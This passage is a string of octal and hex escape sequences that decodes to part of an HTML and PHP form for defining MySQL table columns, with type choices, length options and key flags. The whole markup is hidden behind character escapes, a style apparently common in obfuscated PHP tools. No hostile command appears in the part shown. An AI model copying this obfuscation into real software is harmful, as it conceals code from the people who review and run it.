162\x3e\117\74\x2f\x74\x64\x3e\xa\x3c\164\x64\x3e\46\x6e\142\163\160\74\x2f\164\x64\76\12\x3c\x2f\164\162\x3e\12\74\164\162\x3e\xa\x3c\x74\144\x3e\74\151\156\x70\x75\x74\40\x74\x79\x70\x65\75\162\x61\x64\x69\x6f\40\x6e\x61\x6d\145\x3d\x74\171\160\x65\40\166\141\x6c\x75\145\x3d\x22\102\111\107\111\x4e\124\42\x20\74\x3f\40\x69\146\x28\x20\x24\x74\171\x70\145\40\75\x3d\40\x22\x62\x69\x67\x69\x6e\164\42\40\x29\x20\x65\x63\150\x6f\x20\42\143\150\145\x63\153\145\144\42\73\x3f\76\x3e\x42\111\107\111\x4e\124\x20\50\x2d\71\x32\x32\x33\x33\67\x32\x30\63\66\x38\x35\x34\x37\x37\65\x38\x30\70\x20\x7e\x20\x39\62\62\63\63\67\x32\60\63\x36\70\x35\64\67\67\65\70\x30\x37\x29\x3c\x2f\x74\x64\76\12\74\x74\144\x20\x61\x6c\151\147\156\75\x63\x65\156\164\x65\162\x3e\117\74\57\164\x64\76\xa\74\164\144\76\46\156\x62\163\x70\74\57\x74\x64\76\12\74\x74\x64\x20\141\x6c\151\x67\156\75\143\x65\156\164\x65\x72\76\x4f\74\x2f\x74\x64\x3e\12\x3c\x74\144\x20\x61\154\151\x67\x6e\75\143\x65\x6e\x74\145\x72\x3e\x4f\x3c\x2f\164\144\76\12\74\164\x64\x3e\x26\x6e\x62\163\160\x3c\57\x74\x64\76\12\x3c\57\x74\162\x3e\xa\74\x74\x72\x3e\12\x3c\164\x64\x3e\74\x69\156\160\165\x74\40\164\171\x70\x65\75\x72\x61\x64\x69\157\x20\156\141\x6d\145\x3d\164\x79\x70\145\40\x76\141\x6c\x75\x65\75\42\x46\114\x4f\x41\x54\x22\x20\74\x3f\40\x69\146\50\40\x24\164\x79\x70\x65\x20\x3d\x3d\x20\42\146\154\x6f\141\x74\x22\40\x29\40\145\x63\150\x6f\x20\x22\143\x68\x65\x63\153\x65\144\x22\73\x3f\76\x3e\106\114\x4f\101\124\74\x2f\164\144\76\12\74\164\144\40\141\154\151\147\x6e\x3d\143\145\156\x74\145\x72\x3e\117\x3c\57\164\x64\76\12\x3c\x74\x64\40\x61\x6c\151\147\x6e\x3d\143\145\156\x74\x65\x72\76\x4f\x3c\57\164\144\x3e\xa\74\164\144\x3e\46\x6e\x62\163\x70\74\57\164\144\76\xa\x3c\164\144\x20\141\x6c\x69\x67\156\x3d\x63\x65\156\x74\x65\162\x3e\117\x3c\57\164\x64\x3e\xa\x3c\x74\x64\x3e\x26\156\x62\163\160\74\57\x74\144\x3e\xa\74\57\164\x72\x3e\xa\74\x74\x72\76\xa\74\164\144\x3e\74\151\x6e\160\x75\164\40\164\171\160\x65\75\162\141\x64\x69\157\x20\156\x61\155\x65\x3d\x74\x79\160\x65\x20\x76\x61\154\165\x65\75\x22\104\x4f\x55\102\114\105\x22\x20\x3c\77\x20\151\x66\x28\x20\44\x74\171\160\145\x20\75\x3d\40\x22\144\157\x75\x62\x6c\x65\x22\x20\51\x20\145\x63\150\x6f\40\x22\x63\150\145\x63\153\x65\x64\x22\73\77\x3e\x3e\104\117\x55\x42\114\x45\74\x2f\164\144\x3e\xa\74\164\144\40\x61\x6c\151\x67\x6e\75\143\x65\x6e\164\145\x72\x3e\x4f\74\57\164\144\x3e\xa\74\164\144\40\x61\x6c\x69\x67\156\x3d\x63\x65\x6e\164\x65\162\x3e\x4f\74\57\x74\x64\76\xa\74\164\144\x3e\46\156\142\x73\160\74\x2f\x74\x64\x3e\xa\x3c\x74\x64\40\141\154\151\147\x6e\75\143\145\x6e\164\x65\162\76\x4f\x3c\x2f\164\144\76\12\74\x74\x64\76\46\156\x62\x73\x70\74\x2f\164\x64\x3e\12\x3c\57\x74\x72\76\12\74\164\x72\76\xa\74\x74\x64\x3e\x3c\x69\x6e\160\165\164\40\x74\x79\x70\x65\x3d\x72\x61\x64\151\x6f\x20\156\x61\x6d\x65\x3d\x74\x79\x70\x65\x20\166\141\154\165\145\75\42\x44\105\103\111\x4d\x41\114\42\40\x3c\x3f\40\x69\x66\x28\40\x24\164\x79\x70\145\40\x3d\75\40\42\x64\x65\x63\151\155\141\x6c\x22\40\x29\40\145\x63\x68\157\40\x22\x63\x68\x65\x63\x6b\x65\144\x22\x3b\77\x3e\x3e\x44\x45\x43\111\115\101\x4c\50\116\125\115\105\122\x49\103\51\74\57\164\144\x3e\xa\x3c\x74\144\x20\141\154\x69\x67\x6e\75\x63\x65\156\x74\x65\x72\x3e\x4f\74\x2f\164\144\x3e\12\x3c\x74\x64\40\141\x6c\x69\x67\x6e\75\x63\x65\156\164\x65\162\76\117\74\x2f\x74\144\x3e\xa\74\164\x64\x3e\x26\156\x62\163\x70\74\57\x74\144\76\xa\x3c\x74\144\40\141\x6c\x69\x67\x6e\75\x63\145\x6e\164\x65\162\76\x4f\x3c\x2f\x74\144\76\xa\74\164\144\76\x26\156\142\x73\160\74\57\164\x64\x3e\xa\x3c\57\164\x72\x3e\xa\74\164\162\x3e\xa\x3c\164\144\76\74\x69\156\x70\165\x74\40\164\171\160\145\75\162\x61\x64\151\157\40\156\x61\x6d\145\x3d\x74\171\x70\145\40\166\141\154\x75\145\x3d\42\x44\x41\124\x45\42\40\x3c\x3f\40\x69\146\50\40\x24\x74\171\x70\145\40\x3d\75\40\42\144\141\164\x65\x22\x20\x29\40\x65\143\150\x6f\x20\42\x63\150\145\x63\153\x65\144\x22\73\77\76\x3e\x44\x41\124\x45\40\50\61\60\x30\x30\55\x30\x31\55\x30\x31\40\x7e\40\x39\71\x39\71\x2d\x31\62\x2d\63\x31\x2c\40\x59\131\131\131\55\115\115\55\x44\x44\51\74\57\164\144\x3e\12\x3c\x74\x64\76\x26\156\142\x73\x70\74\x2f\x74\144\x3e\xa\x3c\164\144\76\46\156\x62\x73\160\x3c\57\164\x64\x3e\12\74\x74\x64\x3e\x26\x6e\142\163\x70\74\x2f\164\x64\76\xa\x3c\x74\144\76\x26\x6e\142\x73\160\74\x2f\164\144\x3e\xa\74\x74\x64\76\x26\x6e\x62\163\x70\x3c\57\164\144\76\12\x3c\x2f\164\x72\76\xa\x3c\x74\x72\x3e\xa\74\x74\x64\x3e\74\151\156\x70\165\x74\x20\164\171\x70\145\x3d\162\141\x64\x69\157\x20\x6e\141\155\145\75\164\x79\x70\145\x20\166\141\x6c\165\145\75\42\x44\x41\x54\x45\x54\x49\115\x45\x22\x20\74\x3f\x20\151\x66\x28\40\x24\164\171\x70\x65\40\x3d\75\x20\x22\x64\x61\164\x65\164\x69\155\145\42\40\x29\40\145\143\150\157\x20\42\143\150\x65\x63\x6b\x65\x64\42\x3b\77\x3e\x3e\x44\x41\124\105\x54\111\115\x45\x20\50\61\x30\x30\60\55\x30\61\55\60\61\40\60\60\x3a\x30\x30\x3a\60\x30\x20\176\40\x39\71\x39\x39\x2d\x31\x32\55\x33\61\x20\62\x33\x3a\65\71\72\65\71\54\40\131\x59\131\x59\x2d\x4d\115\55\104\104\40\x48\x48\x3a\x4d\115\72\123\123\51\74\x2f\x74\144\x3e\xa\x3c\x74\144\76\x26\x6e\142\163\160\74\x2f\x74\144\x3e\xa\x3c\164\144\76\46\x6e\142\163\x70\x3c\x2f\x74\144\76\12\x3c\164\144\x3e\x26\x6e\x62\x73\160\x3c\x2f\x74\144\x3e\xa\x3c\164\x64\76\46\156\x62\163\x70\x3c\57\164\144\76\xa\74\164\144\76\46\156\x62\x73\x70\x3c\x2f\x74\x64\x3e\xa\x3c\x2f\164\162\76\xa\x3c\x74\162\x3e\12\74\x74\144\x3e\x3c\x69\x6e\x70\165\164\x20\164\x79\160\x65\75\x72\x61\x64\x69\x6f\x20\x6e\141\155\x65\x3d\164\x79\160\145\40\x76\141\154\x75\145\x3d\x22\124\x49\115\105\123\x54\101\x4d\x50\x22\40\74\x3f\40\x69\x66\50\40\x24\164\x79\x70\x65\40\75\75\x20\x22\164\151\x6d\145\163\x74\141\155\160\x22\40\51\40\x65\143\x68\x6f\x20\x22\143\x68\x65\143\153\x65\x64\x22\73\x3f\x3e\76\124\x49\x4d\x45\123\x54\101\x4d\120\40\50\61\71\67\60\x2d\60\61\x2d\x30\61\x20\x30\x30\72\x30\x30\x3a\60\x30\x20\176\x20\x32\x31\x30\66\x2e\x2e\x2e\54\40\x59\x59\x59\x59\115\x4d\104\104\133\110\110\133\x4d\115\x5b\123\x53\135\x5d\135\51\x3c\x2f\164\x64\76\xa\x3c\x74\144\40\x61\154\151\x67\156\x3d\143\x65\156\164\145\x72\76\x4f\x3c\57\x74\144\x3e\xa\x3c\164\x64\x3e\x26\x6e\142\163\160\x3c\x2f\x74\x64\76\12\74\164\x64\x3e\46\x6e\x62\163\160\x3c\x2f\164\144\76\xa\74\164\x64\x3e\x26\156\142\163\160\x3c\x2f\164\x64\x3e\12\x3c\164\144\76\x26\156\x62\163\160\74\57\164\x64\x3e\12\x3c\57\164\x72\x3e\12\74\164\x72\x3e\xa\74\164\144\x3e\x3c\x69\x6e\x70\x75\x74\40\164\x79\160\x65\x3d\x72\141\x64\151\157\x20\x6e\x61\x6d\145\x3d\x74\171\160\x65\x20\x76\141\x6c\x75\x65\75\42\124\111\x4d\105\42\x20\74\x3f\40\x69\146\50\40\44\x74\171\x70\x65\x20\x3d\x3d\40\x22\164\151\x6d\x65\x22\40\51\40\145\x63\x68\157\x20\x22\143\150\x65\x63\x6b\x65\144\x22\x3b\x3f\76\x3e\124\111\x4d\x45\x20\x28\55\70\63\x38\72\65\71\72\x35\71\40\176\40\70\x33\70\x3a\x35\71\72\65\71\54\40\110\x48\x3a\115\x4d\x3a\123\123\x29\x3c\57\164\x64\x3e\xa\74\164\x64\x3e\46\x6e\142\x73\x70\x3c\x2f\164\x64\76\12\x3c\x74\x64\x3e\x26\156\142\x73\x70\x3c\57\164\144\76\12\74\164\144\76\x26\x6e\x62\163\160\74\x2f\x74\x64\76\12\74\x74\x64\x3e\46\156\142\x73\160\74\x2f\164\x64\76\12\74\164\144\x3e\x26\156\x62\x73\x70\x3c\57\164\x64\x3e\xa\x3c\57\164\162\x3e\xa\x3c\x74\x72\x3e\12\x3c\x74\144\x3e\74\x69\156\x70\x75\x74\40\164\171\x70\145\75\x72\x61\x64\151\157\x20\x6e\x61\x6d\x65\x3d\x74\171\x70\145\40\166\141\x6c\165\x65\x3d\42\131\105\x41\122\42\x20\74\77\40\151\146\x28\x20\44\164\x79\160\145\40\75\75\40\x22\171\x65\141\x72\42\40\x29\40\x65\x63\x68\157\40\x22\x63\x68\x65\143\x6b\145\x64\x22\x3b\x3f\76\76\x59\x45\x41\122\40\x28\61\71\60\x31\x20\x7e\x20\62\x31\x35\x35\54\40\x30\60\x30\x30\x2c\x20\x59\131\x59\131\x29\x3c\57\164\x64\x3e\xa\74\x74\144\76\46\156\142\x73\160\74\57\164\x64\x3e\xa\74\x74\x64\76\46\x6e\x62\x73\160\74\57\164\x64\x3e\12\x3c\164\x64\76\46\156\x62\163\160\74\57\x74\x64\76\12\x3c\164\x64\76\46\x6e\142\x73\160\x3c\57\164\144\76\xa\x3c\x74\x64\76\x26\156\142\163\160\x3c\x2f\164\x64\x3e\12\74\x2f\164\162\x3e\12\x3c\164\x72\x3e\xa\x3c\x74\x64\76\x3c\151\156\160\x75\164\x20\164\171\x70\x65\x3d\x72\141\144\x69\157\40\156\x61\155\x65\x3d\x74\171\160\145\x20\166\141\x6c\x75\145\x3d\x22\x43\110\101\122\x22\x20\x3c\77\x20\151\146\50\40\x24\164\171\x70\145\40\x3d\75\40\42\x63\150\x61\x72\42\x20\51\x20\x65\x63\x68\157\40\x22\143\150\x65\x63\x6b\145\144\x22\73\77\x3e\x3e\103\110\x41\x52\74\57\x74\x64\76\12\74\164\x64\x20\x61\154\151\147\x6e\x3d\143\x65\156\164\145\x72\76\117\74\x2f\x74\x64\76\xa\x3c\164\x64\76\x26\156\x62\x73\160\74\57\x74\144\76\12\x3c\x74\144\76\x26\156\x62\163\x70\x3c\57\164\144\x3e\12\x3c\164\144\76\46\x6e\x62\163\160\x3c\57\164\x64\x3e\xa\x3c\164\x64\x20\141\x6c\151\x67\156\x3d\x63\145\x6e\x74\145\162\76\117\74\57\x74\x64\76\xa\74\57\x74\x72\76\xa\74\x74\162\x3e\12\x3c\x74\144\x3e\74\151\156\160\x75\164\x20\x74\x79\160\145\75\162\141\144\151\157\40\x6e\x61\x6d\x65\75\164\x79\160\145\x20\166\141\x6c\x75\145\75\x22\x56\x41\x52\x43\110\x41\122\x22\40\74\x3f\40\x69\x66\50\x20\44\164\171\x70\145\x20\x3d\x3d\x20\42\166\x61\x72\x63\x68\x61\x72\x22\40\x29\x20\145\143\150\157\x20\x22\x63\150\145\x63\x6b\x65\144\42\73\77\76\x3e\x56\x41\122\103\x48\101\122\x3c\57\164\144\x3e\xa\74\x74\144\x20\x61\x6c\x69\147\156\x3d\x63\145\x6e\164\145\x72\76\117\74\57\164\144\x3e\xa\74\164\x64\x3e\x26\x6e\142\163\160\x3c\x2f\x74\x64\x3e\12\x3c\164\x64\76\x26\x6e\142\x73\160\x3c\57\x74\x64\x3e\12\x3c\x74\x64\76\46\156\142\163\x70\x3c\x2f\x74\144\76\12\74\x74\144\x20\141\x6c\x69\x67\156\x3d\x63\145\x6e\x74\x65\162\x3e\x4f\x3c\x2f\x74\x64\76\12\74\57\x74\162\76\xa\74\164\162\x3e\12\74\164\144\76\x3c\151\x6e\160\x75\x74\40\164\171\x70\145\75\x72\141\x64\151\x6f\40\156\x61\155\145\x3d\x74\171\x70\145\x20\x76\141\154\165\x65\x3d\42\124\x49\x4e\x59\124\x45\x58\x54\42\40\74\77\40\x69\146\x28\x20\x24\x74\x79\x70\x65\x20\x3d\x3d\40\x22\164\x69\x6e\171\x74\145\x78\x74\42\40\51\40\x65\143\150\x6f\40\x22\x63\x68\x65\143\x6b\x65\x64\x22\x3b\77\76\76\x54\x49\116\131\124\x45\x58\x54\x20\50\60\x20\176\40\x32\65\x35\51\x3c\57\x74\144\76\12\x3c\164\x64\x3e\x26\156\x62\x73\160\74\57\164\144\x3e\12\x3c\164\x64\76\x26\x6e\x62\163\x70\x3c\x2f\164\144\76\12\x3c\x74\144\76\46\156\x62\163\160\74\57\x74\144\76\xa\74\164\x64\x3e\46\x6e\x62\163\x70\x3c\x2f\x74\x64\76\12\x3c\164\144\x3e\x26\156\x62\163\160\74\57\x74\x64\76\xa\74\57\164\162\x3e\12\x3c\x74\x72\x3e\12\74\x74\144\x3e\x3c\151\x6e\160\x75\164\x20\x74\x79\x70\145\x3d\162\141\144\151\x6f\40\x6e\x61\155\145\75\164\x79\160\145\40\x76\x61\154\165\145\x3d\x22\x54\x45\x58\124\42\40\x3c\x3f\x20\151\x66\50\x20\x24\x74\x79\x70\145\40\x3d\x3d\40\42\164\145\170\x74\42\40\51\40\x65\143\150\157\40\42\x63\x68\145\x63\153\x65\144\42\x3b\x3f\x3e\x3e\124\105\x58\124\40\50\60\x20\176\x20\66\x35\x35\63\x35\51\74\57\164\x64\76\xa\74\164\x64\x3e\46\156\142\163\x70\x3c\57\x74\144\76\12\74\164\x64\x3e\x26\156\x62\x73\x70\x3c\57\164\x64\x3e\12\x3c\164\144\76\46\156\x62\163\x70\74\x2f\x74\144\x3e\12\x3c\x74\144\76\46\x6e\142\x73\160\x3c\x2f\x74\x64\x3e\12\74\x74\x64\76\46\156\x62\163\160\x3c\x2f\164\144\76\xa\74\x2f\x74\162\x3e\12\74\x74\162\x3e\xa\74\x74\144\76\74\151\156\x70\x75\x74\x20\x74\171\160\145\x3d\162\x61\144\151\x6f\x20\x6e\x61\x6d\x65\75\x74\171\x70\x65\40\x76\x61\x6c\x75\145\x3d\42\x4d\x45\104\x49\x55\115\124\105\130\x54\42\x20\74\77\x20\151\146\50\40\x24\164\x79\160\145\40\x3d\x3d\40\x22\x6d\x65\144\151\165\155\x74\145\x78\x74\42\40\51\x20\x65\143\x68\157\40\42\x63\x68\145\x63\153\x65\144\42\73\77\x3e\76\x4d\105\x44\x49\x55\115\x54\105\x58\124\x20\x28\60\40\176\x20\x31\66\67\67\x37\x32\x31\x35\x29\74\57\164\144\x3e\xa\74\x74\x64\76\46\156\142\x73\160\x3c\x2f\x74\x64\x3e\xa\74\x74\144\76\x26\156\142\x73\x70\x3c\x2f\x74\x64\76\xa\74\164\144\76\46\156\x62\x73\160\74\57\164\144\76\12\x3c\x74\144\76\x26\156\x62\x73\x70\74\x2f\x74\x64\x3e\12\74\x74\x64\76\46\156\x62\x73\x70\74\x2f\164\x64\x3e\xa\74\x2f\x74\x72\x3e\12\74\164\162\76\12\x3c\x74\x64\76\74\151\156\160\165\164\x20\164\171\160\145\x3d\x72\x61\x64\x69\x6f\40\x6e\x61\155\145\x3d\x74\x79\x70\145\x20\x76\x61\x6c\165\145\75\42\114\x4f\x4e\x47\124\105\x58\x54\42\40\x3c\77\x20\x69\x66\50\x20\x24\x74\x79\160\145\40\75\x3d\40\42\x6c\x6f\x6e\147\164\x65\170\x74\x22\x20\51\x20\145\143\x68\157\40\x22\143\150\145\143\x6b\x65\x64\42\x3b\77\x3e\76\114\117\116\x47\x54\105\130\124\40\x28\x30\40\176\x20\x34\x32\71\64\x39\66\x37\62\x39\x35\x29\74\x2f\x74\144\76\12\74\164\x64\76\46\x6e\x62\163\160\74\x2f\164\x64\76\12\74\164\x64\x3e\46\156\x62\163\160\x3c\x2f\x74\144\76\12\x3c\164\x64\x3e\x26\156\x62\x73\160\x3c\57\164\144\x3e\12\74\x74\144\x3e\x26\x6e\142\x73\x70\74\57\x74\x64\x3e\12\74\164\144\76\x26\156\142\x73\x70\74\57\164\x64\76\12\74\57\x74\162\x3e\xa\x3c\x74\x72\x3e\xa\x3c\164\x64\76\74\x69\x6e\160\165\164\40\164\171\160\145\x3d\x72\x61\x64\151\157\40\x6e\141\155\x65\75\x74\171\x70\x65\40\166\141\154\x75\145\x3d\x22\x54\x49\x4e\x59\102\x4c\x4f\x42\42\40\x3c\77\40\x69\146\50\40\x24\164\x79\160\x65\x20\x3d\75\40\42\x74\x69\x6e\x79\142\x6c\157\142\42\40\51\40\145\143\150\x6f\x20\x22\143\x68\x65\x63\153\x65\x64\42\73\77\76\x3e\124\111\x4e\x59\102\x4c\117\x42\40\50\x30\40\176\40\62\65\65\51\74\57\x74\144\76\12\74\164\144\x3e\x26\156\x62\163\x70\x3c\x2f\164\x64\76\12\x3c\164\x64\x3e\x26\156\142\163\x70\74\x2f\164\144\76\xa\x3c\x74\x64\76\x26\156\142\163\160\x3c\x2f\164\144\x3e\xa\x3c\164\x64\x3e\x26\156\x62\x73\x70\74\57\x74\x64\x3e\xa\74\x74\x64\76\x26\x6e\x62\x73\x70\74\x2f\164\x64\x3e\xa\74\57\x74\x72\x3e\12\x3c\164\162\x3e\12\74\x74\144\x3e\x3c\151\156\160\x75\164\x20\x74\171\x70\x65\x3d\x72\x61\144\x69\x6f\x20\x6e\x61\x6d\x65\75\164\x79\160\x65\x20\x76\x61\154\x75\x65\75\x22\x42\114\117\x42\x22\x20\x3c\x3f\40\x69\146\50\x20\x24\x74\x79\x70\145\x20\75\75\x20\x22\x62\x6c\157\142\x22\x20\x29\40\x65\143\150\x6f\x20\x22\x63\x68\145\143\153\x65\144\x22\x3b\77\76\x3e\x42\114\x4f\x42\x20\x28\x30\x20\176\x20\x36\65\x35\63\x35\x29\x3c\x2f\164\x64\x3e\xa\x3c\164\144\x3e\46\156\x62\x73\160\x3c\x2f\164\144\76\12\74\x74\x64\x3e\46\x6e\142\x73\160\x3c\x2f\x74\144\76\12\74\164\144\x3e\46\156\x62\163\x70\x3c\57\x74\x64\76\12\x3c\164\144\x3e\46\x6e\142\x73\160\x3c\57\164\144\x3e\12\x3c\x74\144\x3e\x26\x6e\142\163\x70\74\57\x74\144\76\xa\74\x2f\164\x72\x3e\12\x3c\x74\162\76\12\x3c\x74\144\x3e\74\x69\x6e\x70\165\164\40\x74\171\160\x65\x3d\x72\141\x64\151\157\40\156\x61\x6d\x65\75\164\171\160\x65\x20\x76\141\x6c\x75\145\x3d\x22\x4d\105\104\x49\x55\x4d\x42\x4c\117\102\42\x20\74\77\x20\x69\146\50\x20\44\164\171\160\x65\x20\x3d\x3d\40\x22\155\x65\144\x69\x75\155\x62\x6c\x6f\x62\42\40\x29\40\145\143\x68\x6f\x20\x22\143\x68\x65\143\153\x65\144\42\73\x3f\x3e\76\115\105\x44\111\125\115\x42\114\117\102\x20\x28\x30\x20\176\x20\61\66\67\67\67\62\x31\x35\x29\x3c\x2f\164\x64\76\xa\x3c\164\144\x3e\46\156\142\x73\160\x3c\x2f\164\x64\76\12\74\164\x64\x3e\x26\156\142\163\x70\74\x2f\164\144\76\xa\74\164\144\76\x26\x6e\142\x73\x70\74\x2f\164\144\x3e\xa\74\164\x64\x3e\46\156\142\163\160\74\57\x74\144\76\12\74\x74\x64\76\x26\156\x62\x73\x70\74\x2f\164\x64\x3e\12\74\x2f\x74\x72\x3e\12\x3c\164\162\x3e\xa\x3c\164\x64\76\x3c\x69\156\160\x75\x74\40\x74\x79\x70\x65\x3d\x72\x61\144\151\x6f\x20\x6e\x61\x6d\x65\75\x74\x79\160\x65\x20\166\141\154\x75\145\x3d\x22\x4c\x4f\116\107\102\114\x4f\x42\42\x20\74\x3f\x20\x69\146\x28\40\44\164\171\160\145\40\75\75\x20\x22\154\x6f\x6e\147\x62\x6c\x6f\x62\42\x20\x29\x20\x65\x63\150\x6f\40\42\x63\150\x65\x63\153\145\144\x22\x3b\x3f\76\76\114\x4f\116\x47\102\x4c\x4f\102\x20\50\60\x20\x7e\x20\64\x32\x39\64\x39\x36\67\62\x39\x35\51\74\57\164\144\76\xa\74\x74\144\x3e\46\x6e\x62\163\x70\x3c\57\x74\144\x3e\12\74\164\x64\x3e\46\x6e\x62\163\x70\74\x2f\164\x64\76\12\x3c\x74\144\x3e\46\156\142\163\x70\74\x2f\164\x64\x3e\12\x3c\x74\144\76\46\x6e\x62\163\x70\x3c\57\164\x64\x3e\xa\74\164\144\x3e\46\156\x62\x73\x70\74\57\x74\x64\x3e\12\x3c\57\164\x72\76\xa\74\x74\x72\76\12\x3c\164\144\x3e\x3c\151\156\x70\x75\x74\40\164\171\160\x65\75\x72\141\144\x69\157\40\x6e\141\155\145\75\x74\171\x70\145\40\x76\x61\x6c\165\x65\x3d\x22\105\116\125\x4d\42\40\x3c\x3f\40\x69\146\50\40\x24\x74\171\160\145\40\x3d\75\40\42\x65\x6e\165\x6d\42\x20\51\40\x65\x63\150\x6f\x20\42\143\150\145\x63\x6b\x65\x64\x22\73\77\x3e\x3e\x45\116\x55\x4d\x3c\57\164\144\76\xa\x3c\164\x64\40\143\157\154\x73\x70\x61\156\75\x35\76\74\x63\x65\156\164\x65\x72\x3e\x76\x61\154\165\145\40\x6c\x69\163\164\74\57\143\145\x6e\164\x65\162\x3e\74\x2f\164\144\76\12\74\x2f\x74\x72\76\xa\74\164\x72\x3e\xa\x3c\x74\x64\76\74\151\156\160\x75\x74\40\164\171\x70\x65\x3d\162\141\144\151\x6f\40\x6e\x61\x6d\145\x3d\x74\x79\160\x65\40\x76\x61\154\165\x65\75\42\x53\x45\x54\x22\x20\74\77\40\151\146\50\40\44\x74\x79\160\x65\40\75\x3d\40\x22\x73\145\x74\x22\x20\x29\40\x65\143\150\x6f\x20\42\143\x68\x65\x63\x6b\145\x64\x22\x3b\77\x3e\x3e\x53\x45\124\74\57\164\144\x3e\12\x3c\164\144\x20\x63\x6f\x6c\163\x70\141\x6e\x3d\65\76\74\143\145\x6e\x74\x65\x72\x3e\x76\141\154\x75\x65\x20\x6c\151\163\x74\x3c\57\x63\145\x6e\164\x65\x72\76\x3c\57\164\144\x3e\xa\x3c\57\x74\x72\x3e\xa\xa\x3c\57\x74\141\142\154\x65\x3e\xa\74\x74\141\142\x6c\145\76\12\74\164\162\x3e\x3c\x74\x68\x3e\115\74\x2f\x74\150\x3e\74\164\150\x3e\x44\x3c\x2f\164\150\76\74\x74\x68\76\x75\156\163\x69\x67\x6e\145\144\74\57\x74\x68\x3e\x3c\164\150\76\x7a\145\162\157\x66\151\154\154\74\x2f\164\150\76\x3c\x74\150\76\142\151\156\141\x72\x79\74\57\164\x68\76\74\164\150\76\166\141\154\x75\x65\x20\x6c\x69\x73\x74\40\50\x65\170\x3a\x20\x27\x61\160\160\154\145\x27\54\40\x27\x6f\162\x61\x6e\147\145\47\x2c\x20\47\142\x61\156\x61\x6e\141\x27\51\x20\x3c\x2f\x74\x68\x3e\x3c\57\x74\162\76\12\x3c\x74\162\76\12\74\x74\x64\x20\141\x6c\x69\x67\x6e\x3d\143\145\156\164\145\162\x3e\74\x69\x6e\160\165\x74\x20\x74\171\160\145\x3d\x74\145\170\164\40\163\x69\x7a\145\75\x34\x20\x6e\141\155\145\x3d\115\x20\74\77\x20\x69\146\x28\40\x24\x4d\x20\x21\75\40\x22\42\40\x29\40\x65\x63\x68\157\40\x22\166\x61\x6c\165\145\75\x24\115\x22\73\x3f\76\76\74\57\x74\x64\76\xa\x3c\164\x64\40\x61\154\151\x67\x6e\75\143\145\156\164\145\x72\x3e\x3c\151\x6e\x70\165\x74\40\164\171\x70\x65\x3d\164\145\170\164\40\x73\x69\x7a\145\75\x34\40\x6e\141\x6d\145\75\104\40\74\x3f\40\151\x66\x28\x20\44\104\40\x21\75\40\42\x22\40\51\40\145\143\150\157\40\x22\x76\141\154\x75\x65\x3d\x24\x44\42\x3b\x3f\76\x3e\x3c\x2f\x74\x64\x3e\12\x3c\x74\144\40\x61\x6c\151\x67\x6e\x3d\143\x65\156\164\145\162\76\74\151\156\160\165\x74\40\x74\x79\160\145\75\x63\x68\x65\x63\153\x62\x6f\x78\x20\x6e\x61\x6d\145\75\165\156\163\x69\x67\156\145\x64\40\x76\x61\154\x75\145\x3d\42\125\116\x53\x49\107\x4e\105\x44\x22\x20\74\x3f\x20\151\146\50\40\x73\164\x72\x70\x6f\x73\50\x20\44\x66\x69\145\x6c\x64\x74\171\160\x65\54\x20\42\x75\156\163\x69\x67\156\x65\144\42\40\x29\x20\x29\x20\145\x63\x68\x6f\40\x22\x63\150\x65\143\x6b\x65\x64\42\x3b\x3f\76\x3e\74\x2f\164\x64\x3e\xa\74\164\144\x20\141\154\151\147\156\75\x63\145\x6e\x74\145\162\x3e\x3c\151\156\x70\x75\x74\x20\164\171\x70\x65\x3d\143\x68\145\143\x6b\142\157\x78\x20\x6e\x61\155\x65\75\x7a\145\x72\x6f\x66\x69\154\x6c\x20\x76\141\154\x75\145\x3d\42\132\105\x52\117\106\111\x4c\x4c\x22\40\74\x3f\x20\x69\x66\x28\x20\x73\164\162\160\157\x73\x28\40\44\146\x69\x65\x6c\144\x74\171\x70\145\54\40\x22\172\145\162\x6f\x66\x69\154\x6c\42\40\51\x20\x29\x20\145\143\x68\x6f\40\x22\143\150\145\x63\153\145\x64\42\x3b\77\x3e\76\x3c\57\x74\x64\76\xa\74\x74\x64\40\x61\154\x69\x67\156\75\143\145\x6e\164\145\162\x3e\x3c\151\156\160\165\164\x20\x74\x79\x70\x65\75\x63\150\x65\x63\153\x62\157\x78\x20\x6e\141\155\x65\x3d\142\151\x6e\141\162\x79\40\x76\x61\154\165\x65\x3d\x22\x42\111\x4e\101\x52\x59\x22\40\74\x3f\40\151\x66\x28\40\x73\164\162\160\157\x73\50\x20\x24\x66\151\145\154\144\x74\x79\x70\145\54\40\x22\142\151\156\x61\162\171\42\x20\x29\x20\40\x29\40\x65\x63\150\157\40\42\x63\x68\x65\143\153\x65\144\x22\73\77\76\76\74\x2f\x74\x64\x3e\xa\x3c\x74\144\40\141\154\x69\x67\x6e\75\x63\x65\156\x74\x65\x72\x3e\x3c\x69\156\160\165\164\x20\x74\x79\160\x65\x3d\x74\x65\x78\164\40\x73\x69\172\x65\x3d\x36\60\40\156\x61\155\145\75\x76\x61\154\x75\x65\154\x69\x73\164\40\74\77\40\x69\x66\50\x20\44\x76\141\154\165\x65\x6c\x69\163\x74\x20\x21\x3d\40\x22\x22\40\51\x20\x65\x63\x68\157\x20\42\x76\x61\x6c\165\145\x3d\x5c\42\44\166\x61\x6c\165\x65\x6c\151\163\x74\134\x22\x22\x3b\x3f\76\x3e\74\x2f\164\x64\x3e\12\x3c\57\x74\x72\x3e\12\74\x2f\x74\141\x62\154\x65\76\12\xa\xa\x3c\x68\x33\76\106\154\141\147\163\74\x2f\x68\x33\76\xa\74\164\141\x62\154\x65\x3e\12\x3c\164\162\x3e\x3c\x74\150\76\156\x6f\x74\x20\x6e\x75\x6c\154\74\57\x74\x68\x3e\x3c\164\150\x3e\x64\x65\146\x61\x75\154\164\x20\x76\141\154\x75\145\74\57\x74\150\76\74\x74\150\76\141\x75\164\157\40\x69\x6e\x63\x72\x65\155\145\156\x74\x3c\x2f\164\150\76\74\x74\150\76\x70\162\x69\155\141\162\x79\x20\153\x65\171\x3c\x2f\x74\x68\76\x3c\57\164\162\x3e\xa\x3c\x74\162\x3e\xa\x3c\x74\144\40\141\154\x69\147\x6e\x3d\143\145\156\x74\145\x72\x3e\74\x69\156\x70\x75\164\40\164\x79\x70\x65\75\143\x68\145\x63\x6b\x62\x6f\x78\x20\156\141\155\x65\75\156\x6f\x74\137\156\x75\154\154\x20\166\141\x6c\x75\x65\x3d\x22\x4e\117\124\40\116\x55\x4c\x4c\x22\x20\x3c\x3f\40\151\x66\x28\40\x24\146\151\145\154\x64\156\165\154\x6c\x20\x21\x3d\x20\x22\131\105\123\x22\x20\x29\40\x65\x63\x68\x6f\x20\42\x63\150\x65\143\x6b\x65\x64\42\73\x3f\76\76\74\x2f\x74\144\x3e